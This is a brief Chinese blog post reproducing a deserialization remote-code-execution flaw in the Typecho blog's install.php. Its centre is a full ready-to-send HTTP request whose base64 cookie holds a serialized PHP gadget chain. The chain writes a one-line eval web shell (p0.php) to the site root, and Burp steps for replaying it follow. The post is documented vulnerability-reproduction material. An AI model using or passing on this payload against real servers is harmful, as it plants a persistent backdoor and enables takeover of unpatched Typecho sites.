Typecho install.php 反序列化导致任意代码执行

什么是Typecho?

Typecho 是一款博客程序,它在 GPL version 2 许可证下发行,基于 PHP (需要 PHP5 以上版本)构建,可以运行在各种平台上,支持多种数据库(Mysql, PostgreSQL, SQLite),在国内使用较广。

影响的版本

GitHub上2017年10月24日之前的所以版本。

Payload

1
2
3
4
5
6
7
8
9
10
GET /typecho/install.php?finish=1 HTTP/1.1
Host: 192.168.0.127
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJ6aCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTc6ImZpbGVfcHV0X2NvbnRlbnRzKCdwMC5waHAnLCAnPD9waHAgQGV2YWwoJF9QT1NUW3AwXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6NzoidHlwZWNobyI7fQ==
Referer:http://192.168.0.127/typecho/install.php
Connection: close
Upgrade-Insecure-Requests: 1

漏洞复现

我们先去typecho官网下载套源码在本地搭建个环境

搭建过程就不多说了,自己百度

搭建好后我们访问首页看看

image

接下来我们打开burp设置好代理,访问http://192.168.0.127/typecho/install.php?finish=1 (将ip换成自己的ip),然后把包拦截,将http协议修改成我们的payload。

image

然后放包,网站根目录下就生成了一句话马。

image

-------------本文结束感谢您的阅读-------------